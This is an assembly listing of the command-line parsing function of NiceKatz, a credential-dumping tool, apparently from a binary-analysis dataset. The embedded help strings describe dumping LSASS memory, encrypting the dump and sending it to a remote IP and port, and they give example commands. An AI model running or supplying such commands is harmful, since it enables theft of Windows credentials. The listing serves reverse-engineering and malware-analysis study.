Function at 0x140001dd0
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rsi
push r13
sub rsp, 0x80
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r13, rcx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x48], rax
mov rsi, rax
test rax, rax
jne 0x140001e80
lea rcx, str.____Failed_to_retreive_command_line_args_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, 0x800
xor edx, edx
mov ebx, eax
mov ecx, 0x1300
xor eax, eax
mov r8d, ebx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9, qword [rsp + 0x48]
lea rdx, [0x1400048f0]
mov r8d, ebx
lea rcx, str.____The_function__S_failed_with_error_code__d____S
call fcn.140001010
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x14000229a
mov ecx, dword [rsp + 0x60]
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], r12
lea eax, [rcx - 3]
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], r15
cmp eax, 5
ja 0x14000220d
mov edi, 1
cmp ecx, edi
jbe 0x14000214c
lea r15d, [rdi + 1]
lea r14, [rsi + 8]
nop word [rax + rax]
mov rcx, qword [r14]
lea rdx, [0x140004940]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140001ef1
mov dword [r13 + 4], 1
jmp 0x140002134
mov rcx, qword [r14]
lea rdx, [0x140004948]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000205c
cmp r15d, dword [rsp + 0x60]
jae 0x140002194
mov rcx, qword [r14 + 8]
lea r8, [rsp + 0x50]
add r14, 8
lea rdx, [0x140004a64]
inc edi
inc r15d
mov dword [rsp + 0x40], edi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcstok]
mov rcx, rax
mov r12, rax
xor esi, esi
call qword [sym.imp.SHLWAPI.dll_StrDupW]
mov rbp, rax
test rax, rax
je 0x14000217e
lea r8, [rsp + 0x58]
mov rcx, rax
lea rdx, [0x140004ab0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcstok]
mov rdi, rax
test rax, rax
je 0x140002175
movzx ecx, word [rdi]
mov rbx, rdi
test cx, cx
je 0x140001f9e
nop dword [rax]
movzx ecx, cx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
test eax, eax
je 0x140002175
movzx ecx, word [rbx + 2]
add rbx, 2
test cx, cx
jne 0x140001f80
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstol]
cmp eax, 0xff
ja 0x140002175
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, [0x140004ab0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcstok]
mov rdi, rax
test rax, rax
je 0x140001fd8
inc esi
jmp 0x140001f72
cmp esi, 3
jne 0x140002175
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [r13 + 0x14]
mov r9, 0xffffffffffffffff
mov r8, r12
lea edx, [rsi + 0xd]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov rbx, qword [rsp + 0x50]
movzx eax, word [rbx]
test ax, ax
je 0x140002033
nop
movzx ecx, ax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
test eax, eax
je 0x14000215f
movzx eax, word [rbx + 2]
add rbx, 2
test ax, ax
jne 0x140002010
mov rbx, qword [rsp + 0x50]
mov r9, 0xffffffffffffffff
lea rcx, [r13 + 0x34]
mov r8, rbx
lea edx, [r9 + 7]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov edi, dword [rsp + 0x40]
mov dword [r13], 1
jmp 0x140002134
mov rcx, qword [r14]
lea rdx, [0x140004978]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400020c7
cmp r15d, dword [rsp + 0x60]
jae 0x140002134
mov rcx, qword [r14 + 8]
add r14, 8
inc edi
inc r15d
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 1
jg 0x1400021ba
mov rax, qword [r14]
movzx ecx, word [rax]
sub ecx, 0x31
je 0x1400020b5
cmp ecx, 1
jne 0x1400021a7
mov qword [r13 + 8], 1
jmp 0x140002134
mov dword [r13 + 0xc], 1
mov dword [r13 + 8], 0
jmp 0x140002134
mov rcx, qword [r14]
lea rdx, [0x1400049d8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400021f3
cmp r15d, dword [rsp + 0x60]
jae 0x1400021e0
mov rbx, qword [r14 + 8]
add r14, 8
inc edi
inc r15d
movzx eax, word [rbx]
test ax, ax
je 0x140002121
nop
movzx ecx, ax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
test eax, eax
je 0x1400021cd
movzx eax, word [rbx + 2]
add rbx, 2
test ax, ax
jne 0x140002100
mov rbx, qword [r14]
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstol]
mov dword [r13 + 0x10], eax
inc edi
inc r15d
add r14, 8
cmp edi, dword [rsp + 0x60]
jb 0x140001ed0
mov rsi, qword [rsp + 0x48]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x140002278
lea rcx, str.ERROR:_Port_can_only_contain_digits__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.ERROR:_Invalid_IP_format__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
lea rcx, str.ERROR:_Invalid_usage_of_the__r_option__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
lea rcx, str.ERROR:_Invalid_value_for_dump_method__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
lea rcx, str.ERROR:_Invalid_length_for_dump_method_value__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
lea rcx, str.ERROR:_PID_can_only_contain_numbers__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
lea rcx, str.ERROR:__p_option_has_to_be_followed_by_a_valid_PID__n
call fcn.140001010
mov rsi, qword [rsp + 0x48]
jmp 0x140002219
mov rsi, qword [rsp + 0x48]
lea rcx, str.ERROR:__S_is_an_invalid_option__n
movsxd rdx, edi
mov rdx, qword [rsi + rdx*8]
call fcn.140001010
jmp 0x140002219
lea rcx, str.ERROR:_Incorrect_number_of_arguments__n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str._nNiceKatz_v0.1_n_tAlon_Leviev__0xDeku__n_n
call fcn.140001010
lea rcx, str.Mandatory_args:__n_m_Process_dump_method_n_t1__Dump_target_process_by_using_MiniDumpWriteDump_n_t2__Dump_target_process_by_using_SilentProcessExit_Does_not_support__r_and__e_ATM__n
call fcn.140001010
lea rcx, [0x140004f74]
call fcn.140001010
lea rcx, str.Other_args:__n_e_Encrypt_output_file_n_r_Send_dmp_remotly_without_touching_the_disk_n_t_IP_ADDR__The_ip_address_to_send_the_dump_to_n_t_PORT__The_port_of_which_to_connect_to_n_p_Target_process_id_to_dump_Default:_LSASS_pid__n
call fcn.140001010
lea rcx, [0x140004f74]
call fcn.140001010
lea rcx, str.Examples:__n__Dump_lsass_by_using_MiniDumpWriteDump_and_ecrypt_the_output_file:_n_tNiceKatz.exe__m_1__e_n__Dump_PID_1234_by_using_SilentProcessExit_method:_n_tNiceKatz.exe__m_2__p_1234_n__Dump_PID_5678_by_using_MiniDumpWriteDump__encrypt_the_dump_in_memory_and_send_remotly:_n_tNiceKatz.exe__m_1__p_5678__r_10.10.10.10:8888__e_n
call fcn.140001010
lea rcx, [0x140004f74]
call fcn.140001010
xor eax, eax
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0xb8]
mov rdi, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov r15, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140002fb0
add rsp, 0x80
pop r13
pop rsi
pop rbx
ret